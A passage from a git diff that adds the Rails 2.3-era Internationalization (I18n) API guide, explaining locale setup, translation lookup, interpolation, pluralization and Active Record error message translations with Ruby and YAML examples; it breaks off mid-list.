+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2 + +* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy +* November 3, 2008: Formatting patch from Dave Rothlisberger +* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy +* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* September 8, 2008: initial version by James Miller (not yet approved for publication) diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile new file mode 100644 index 0000000000..103ccb1c7a --- /dev/null +++ b/railties/guides/source/i18n.textile @@ -0,0 +1,912 @@ +h2. Rails Internationalization (I18n) API + +The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application. + +The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1] + +So, in the process of _internationalizing_ your Rails application you have to: + +* Ensure you have support for i18n +* Tell Rails where to find locale dictionaries +* Tell Rails how to set, preserve and switch locale + +In the process of _localizing_ your application you'll probably want to do following three things: + +* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc +* Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc. +* Store the resulting dictionaries somewhere + +This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start. + +endprologue. + +NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information. + +h3. How I18n in Ruby on Rails Works + +Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on: + +* providing support for English and similar languages out of the box +* making it easy to customize and extend everything for other languages + +As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults. + +h4. The Overall Architecture of the Library + +Thus, the Ruby I18n gem is split into two parts: + +* The public API of the i18n framework -- a Ruby module with public methods that define how the library works +* A default backend (which is intentionally named _Simple_ backend) that implements these methods + +As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend. + +NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below. + +h4. The Public I18n API + +The most important methods of the I18n API are: + +<ruby> +translate # Lookup text translations +localize # Localize Date and Time objects to local formats +</ruby> + +These have the aliases #t and #l so you can use them like this: + +<ruby> +I18n.t 'store.title' +I18n.l Time.now +</ruby> + +There are also attribute readers and writers for the following attributes: + +<ruby> +load_path # Announce your custom translation files +locale # Get and set the current locale +default_locale # Get and set the default locale +exception_handler # Use a different exception_handler +backend # Use a different backend +</ruby> + +So, let's internationalize a simple Rails application from the ground up in the next chapters! + +h3. Setup the Rails Application for Internationalization + +There are just a few simple steps to get up and running with I18n support for your application. + +h4. Configure the I18n Module + +Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily. + +Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to your *translations load path*, automatically. + +The default +en.yml+ locale in this directory contains a sample pair of translation strings: + +<ruby> +en: + hello: "Hello world" +</ruby> + +This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. + +The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations. + +NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":http://github.com/joshmh/globalize2/tree/master may help you implement it. + +The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. + +NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced. + +The default +environment.rb+ files has instruction how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines. + +<ruby> +# The internationalization framework can be changed +# to have another default locale (standard is :en) or more load paths. +# All files from config/locales/*.rb,yml are added automatically. +# config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')] +# config.i18n.default_locale = :de +</ruby> + +h4. Optional: Custom I18n Configuration Setup + +For the sake of completeness, let's mention that if you do not want to use the +environment.rb+ file for some reason, you can always wire up things manually, too. + +To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer: + +<ruby> +# in config/initializer/locale.rb + +# tell the I18n library where to find your translations +I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', + '*.{rb,yml}') ] + +# set default locale to something other than :en +I18n.default_locale = :pt +</ruby> + +h4. Setting and Passing the Locale + +If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +environment.rb+ or an initializer as shown above, and it will persist through the requests. + +However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests. + +WARNING: You may be tempted to store the chosen locale in a _session_ or a _cookie_. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being "_RESTful_":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. There may be some exceptions to this rule, which are discussed below. + +The _setting part_ is easy. You can set the locale in a +before_filter+ in the ApplicationController like this: + +<ruby> +before_filter :set_locale +def set_locale + # if params[:locale] is nil then I18n.default_locale will be used + I18n.locale = params[:locale] +end +</ruby> + +This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portugese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page. + +Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have. + +IMPORTANT: The following examples rely on having available locales loaded into your application as an array of strings like +["en", "es", "gr"]+. This is not included in the current version of Rails 2.2 -- the forthcoming Rails version 2.3 will contain the easy accessor +available_locales+. (See "this commit":http://github.com/svenfuchs/i18n/commit/411f8fe7c8f3f89e9b6b921fa62ed66cb92f3af4 and background at "Rails I18n Wiki":http://rails-i18n.org/wiki/pages/i18n-available_locales.) + +So, for having available locales easily accessible in Rails 2.2, we have to include this support manually in an initializer, like this: + +<ruby> +# config/initializers/available_locales.rb +# +# Get loaded locales conveniently +# See http://rails-i18n.org/wiki/pages/i18n-available_locales +module I18n + class << self + def available_locales; backend.available_locales; end + end + module Backend + class Simple + def available_locales; translations.keys.collect { |l| l.to_s }.sort; end + end + end +end + +# You need to "force-initialize" loaded locales +I18n.backend.send(:init_translations) + +AVAILABLE_LOCALES = I18n.backend.available_locales +RAILS_DEFAULT_LOGGER.debug "* Loaded locales: #{AVAILABLE_LOCALES.inspect}" +</ruby> + +You can then wrap the constant for easy access in ApplicationController: + +<ruby> +class ApplicationController < ActionController::Base + def available_locales; AVAILABLE_LOCALES; end +end +</ruby> + +h4. Setting the Locale from the Domain Name + +One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages: + +* The locale is an _obvious_ part of the URL +* People intuitively grasp in which language the content will be displayed +* It is very trivial to implement in Rails +* Search engines seem to like that content in different languages lives at different, inter-linked domains + +You can implement it like this in your ApplicationController: + +<ruby> +before_filter :set_locale +def set_locale + I18n.locale = extract_locale_from_uri +end +# Get locale from top-level domain or return nil if such locale is not available +# You have to put something like: +# 127.0.0.1 application.com +# 127.0.0.1 application.it +# 127.0.0.1 application.pl +# in your /etc/hosts file to try this out locally +def extract_locale_from_tld + parsed_locale = request.host.split('.').last + (available_locales.include? parsed_locale) ? parsed_locale : nil +end +</ruby> + +We can also set the locale from the _subdomain_ in a very similar way: + +<ruby> +# Get locale code from request subdomain (like http://it.application.local:3000) +# You have to put something like: +# 127.0.0.1 gr.application.local +# in your /etc/hosts file to try this out locally +def extract_locale_from_subdomain + parsed_locale = request.subdomains.first + (available_locales.include? parsed_locale) ? parsed_locale : nil +end +</ruby> + +If your application includes a locale switching menu, you would then have something like this in it: + +<ruby> +link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}") +</ruby> + +assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+. + +This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path). + +h4. Setting the Locale from the URL Params + +The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case. + +This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though. + +Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. +link_to( books_url(:locale => I18n.locale))+) would be tedious and probably impossible, of course. + +Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+ApplicationController#default_url_options+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method). + +We can include something like this in our ApplicationController then: + +<ruby> +# app/controllers/application_controller.rb +def default_url_options(options={}) + logger.debug "default_url_options is passed options: #{options.inspect}\n" + { :locale => I18n.locale } +end +</ruby> + +Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+. + +You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this. + +You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+path_prefix+":http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354 option in this way: + +<ruby> +# config/routes.rb +map.resources :books, :path_prefix => '/:locale' +</ruby> + +Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed). + +Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +map.root :controller => "dashboard"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so: there's only one "root" URL.) + +You would probably need to map URLs like these: + +<ruby> +# config/routes.rb +map.dashboard '/:locale', :controller => "dashboard" +</ruby> + +Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +map.root+ declaration.) + +IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitely, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki. + +h4. Setting the Locale from the Client Supplied Information + +In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' prefered language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above. + + +h5. Using +Accept-Language+ + +One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_). + +A trivial implementation of using an +Accept-Language+ header would be: + +<ruby> +def set_locale + logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}" + I18n.locale = extract_locale_from_accept_language_header + logger.debug "* Locale set to '#{I18n.locale}'" +end +private +def extract_locale_from_accept_language_header + request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first +end +</ruby> + +Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":http://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":http://github.com/rtomayko/rack-contrib/blob/master/lib/rack/locale.rb. + +h5. Using GeoIP (or Similar) Database + +Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your prefered locale for the country/region/city returned. + +h5. User Profile + +You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value. + +h3. Internationalizing your Application + +OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff. + +Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide neccessary translations for these abstracts. + +You most probably have something like this in one of your applications: + +<ruby> +# config/routes.rb +ActionController::Routing::Routes.draw do |map| + map.root :controller => 'home', :action => 'index' +end + +# app/controllers/home_controller.rb +class HomeController < ApplicationController + def index + flash[:notice] = "Hello flash!" + end +end + +# app/views/home/index.html.erb +<h1>Hello world!</h1> +<p><%= flash[:notice] %></p> +</ruby> + +!images/i18n/demo_untranslated.png(rails i18n demo untranslated)! + +h4. Adding Translations + +Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation: + +<ruby> +# app/controllers/home_controller.rb +class HomeController < ApplicationController + def index + flash[:notice] = t(:hello_flash) + end +end + +# app/views/home/index.html.erb +<h1><%=t :hello_world %></h1> +<p><%= flash[:notice] %></p> +</ruby> + +When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing. + +!images/i18n/demo_translation_missing.png(rails i18n demo translation missing)! + +NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +<span class="translation_missing">+. + +So let's add the missing translations into the dictionary files (i.e. do the "localization" part): + +<ruby> +# config/locale/en.yml +en: + hello_world: Hello World + hello_flash: Hello Flash + +# config/locale/pirate.yml +pirate: + hello_world: Ahoy World + hello_flash: Ahoy Flash +</ruby> + +There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows: + +!images/i18n/demo_translated_en.png(rails i18n demo translated to english)! + +And when you change the URL to pass the pirate locale (+http://localhost:3000?locale=pirate+), you'll get: + +!images/i18n/demo_translated_pirate.png(rails i18n demo translated to pirate)! + +NOTE: You need to restart the server when you add new locale files. + +You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the prefered option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) + +h4. Adding Date/Time Formats + +OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. + +<ruby> +# app/views/home/index.html.erb +<h1><%=t :hello_world %></h1> +<p><%= flash[:notice] %></p +<p><%= l Time.now, :format => :short %></p> +</ruby> + +And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English): + +<ruby> +# config/locale/pirate.yml +pirate: + time: + formats: + short: "arrrround %H'ish" +</ruby> + +So that would give you: + +!images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)! + +TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails's defaults for your locale*. See the "rails-i18n repository at Github":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locale/+ directory, they will automatically be ready for use. + +h4. Localized Views + +Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.) + +You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them. + +h4. Organization of Locale Files + +When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you. + +For example, your +config/locale+ directory could look like this: + +<pre> +|-defaults +|---es.rb +|---en.rb +|-models +|---book +|-----es.rb +|-----en.rb +|-views +|---defaults +|-----es.rb +|-----en.rb +|---books +|-----es.rb +|-----en.rb +|---users +|-----es.rb +|-----en.rb +|---navigation +|-----es.rb +|-----en.rb +</pre> + +This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation. + +NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further: + +<ruby> + # config/environment.rb + config.i18n.load_path += Dir[File.join(RAILS_ROOT, 'config', 'locales', '**', '*.{rb,yml}')] +</ruby> + +Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations. + +h3. Overview of the I18n API Features + +You should have good understanding of using the i18n library now, knowing all neccessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth. + +Covered are features like these: + +* looking up translations +* interpolating data into translations +* pluralizing translations +* localizing dates, numbers, currency, etc. + +h4. Looking up Translations + +h5. Basic Lookup, Scopes and Nested Keys + +Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent: + +<ruby> +I18n.t :message +I18n.t 'message' +</ruby> + +The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key: + +<ruby> +I18n.t :invalid, :scope => [:activerecord, :errors, :messages] +</ruby> + +This looks up the +:invalid+ message in the Active Record error messages. + +Additionally, both the key and scopes can be specified as dot-separated keys as in: + +<ruby> +I18n.translate :"activerecord.errors.messages.invalid" +</ruby> + +Thus the following calls are equivalent: + +<ruby> +I18n.t 'activerecord.errors.messages.invalid' +I18n.t 'errors.messages.invalid', :scope => :active_record +I18n.t :invalid, :scope => 'activerecord.errors.messages' +I18n.t :invalid, :scope => [:activerecord, :errors, :messages] +</ruby> + +h5. Defaults + +When a +:default+ option is given, its value will be returned if the translation is missing: + +<ruby> +I18n.t :missing, :default => 'Not here' +# => 'Not here' +</ruby> + +If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned. + +E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned: + +<ruby> +I18n.t :missing, :default => [:also_missing, 'Not here'] +# => 'Not here' +</ruby> + +h5. Bulk and Namespace Lookup + +To look up multiple translations at once, an array of keys can be passed: + +<ruby> +I18n.t [:odd, :even], :scope => 'activerecord.errors.messages' +# => ["must be odd", "must be even"] +</ruby> + +Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with: + +<ruby> +I18n.t 'activerecord.errors.messages' +# => { :inclusion => "is not included in the list", :exclusion => ... } +</ruby> + +h5. "Lazy" Lookup + +Rails 2.3 implements a convenient way to look up the locale inside _views_. When you have the following dictionary: + +<yaml> +es: + books: + index: + title: "Título" +</yaml> + +you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot): + +<ruby> +<%= t '.title' %> +</ruby> + +h4. Interpolation + +In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature. + +All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation: + +<ruby> +I18n.backend.store_translations :en, :thanks => 'Thanks {{name}}!' +I18n.translate :thanks, :name => 'Jeremy' +# => 'Thanks Jeremy!' +</ruby> + +If a translation uses +:default+ or +:scope+ as an interpolation variable, an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised. + +h4. Pluralization + +In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar, "Japanese":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja, "Russian":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature. + +The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR: + +<ruby> +I18n.backend.store_translations :en, :inbox => { + :one => '1 message', + :other => '{{count}} messages' +} +I18n.translate :inbox, :count => 2 +# => '2 messages' +</ruby> + +The algorithm for pluralizations in +:en+ is as simple as: + +<ruby> +entry[count == 1 ? 0 : 1] +</ruby> + +I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero). + +If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised. + +h4. Setting and Passing a Locale + +The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+. + +If no locale is passed, +I18n.locale+ is used: + +<ruby> +I18n.locale = :de +I18n.t :foo +I18n.l Time.now +</ruby> + +Explicitely passing a locale: + +<ruby> +I18n.t :foo, :locale => :de +I18n.l Time.now, :locale => :de +</ruby> + +The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this: + +<ruby> +I18n.default_locale = :de +</ruby> + +h3. How to Store your Custom Translations + +The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2] + +For example a Ruby Hash providing translations can look like this: + +<ruby> +{ + :pt => { + :foo => { + :bar => "baz" + } + } +} +</ruby> + +The equivalent YAML file would look like this: + +<ruby> +pt: + foo: + bar: baz +</ruby> + +As you see, in both cases the toplevel key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz". + +Here is a "real" example from the Active Support +en.yml+ translations YAML file: + +<ruby> +en: + date: + formats: + default: "%Y-%m-%d" + short: "%b %d" + long: "%B %d, %Y" +</ruby> + +So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+: + +<ruby> +I18n.t 'date.formats.short' +I18n.t 'formats.short', :scope => :date +I18n.t :short, :scope => 'date.formats' +I18n.t :short, :scope => [:date, :formats] +</ruby> + +Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats. + +h4. Translations for Active Record Models + +You can use the methods +Model.human_name+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names. + +For example when you add the following translations: + +<ruby> +en: + activerecord: + models: + user: Dude + attributes: + user: + login: "Handle" + # will translate User attribute "login" as "Handle" +</ruby> + +Then +User.human_name+ will return "Dude" and +User.human_attribute_name(:login)+ will return "Handle". + +h5. Error Message Scopes + +Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account. + +This gives you quite powerful means to flexibly adjust your messages to your application's needs. + +Consider a User model with a +validates_presence_of+ validation for the name attribute like this: + +<ruby> +class User < ActiveRecord::Base + validates_presence_of :name +end +</ruby> + +The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces: + +<ruby> +activerecord.errors.models.[model_name].attributes.[attribute_name] +activerecord.errors.models.[model_name] +activerecord.errors.messages +</ruby> + +Thus, in our example it will try the following keys in this order and return the first result: + +<ruby> +activerecord.errors.models.user.attributes.name.blank +activerecord.errors.models.user.blank +activerecord.errors.messages.blank +</ruby> + +When your models are additionally using inheritance then the messages are looked up in the inheritance chain. + +For example, you might have an Admin model inheriting from User: + +<ruby> +class Admin < User + validates_presence_of :name +end +</ruby> + +Then Active Record will look for messages in this order: + +<ruby> +activerecord.errors.models.admin.attributes.title.blank +activerecord.errors.models.admin.blank +activerecord.errors.models.user.attributes.title.blank +activerecord.errors.models.user.blank +activerecord.errors.messages.blank +</ruby> + +This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes. + +h5. Error Message Interpolation + +The translated model name, translated attribute name, and value are always available for interpolation. + +So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this : +"Please fill in your {{attribute}}"+. + +* +count+, where available, can be used for pluralization if present: + +|_. validation |_.with option |_.message |_.interpolation| +| validates_confirmation_of | - | :confirmation | -| +| validates_acceptance_of | - | :accepted | -| +| validates_presence_of | - | :blank | -| +| validates_length_of | :within, :in | :too_short | count| +| validates_length_of | :within, :in | :too_long | count| +| validates_length_of | :is | :wrong_length | count| +| validates_length_of | :minimum | :too_short | count| +| validates_length_of | :maximum | :too_long | count| +| validates_uniqueness_of | - | :taken | -| +| validates_format_of | - | :invalid | -| +| validates_inclusion_of | - | :inclusion | -| +| validates_exclusion_of | - | :exclusion | -| +| validates_associated | - | :invalid | -| +| validates_numericality_of | - | :not_a_number | -| +| validates_numericality_of | :greater_than | :greater_than | count| +| validates_numericality_of | :greater_than_or_equal_to | :greater_than_or_equal_to | count| +| validates_numericality_of | :equal_to | :equal_to | count| +| validates_numericality_of | :less_than | :less_than | count| +| validates_numericality_of | :less_than_or_equal_to | :less_than_or_equal_to | count| +| validates_numericality_of | :odd | :odd | -| +| validates_numericality_of | :even | :even | -| + +h5. Translations for the Active Record +error_messages_for+ Helper + +If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it. + +Rails ships with the following translations: + +<yaml> +en: + activerecord: + errors: + template: + header: + one: "1 error prohibited this {{model}} from being saved" + other: "{{count}} errors prohibited this {{model}} from being saved" + body: "There were problems with the following fields:" +</yaml> + +h4. Overview of Other Built-In Methods that Provide I18n Support + +Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview. + +h5. Action View Helper Methods + +* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations. + +* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitely). All date selection helpers translate the prompt using the translations in the "datetime.prompts":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable. + +* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope. + +h5. Active Record Methods + +* +human_name+ 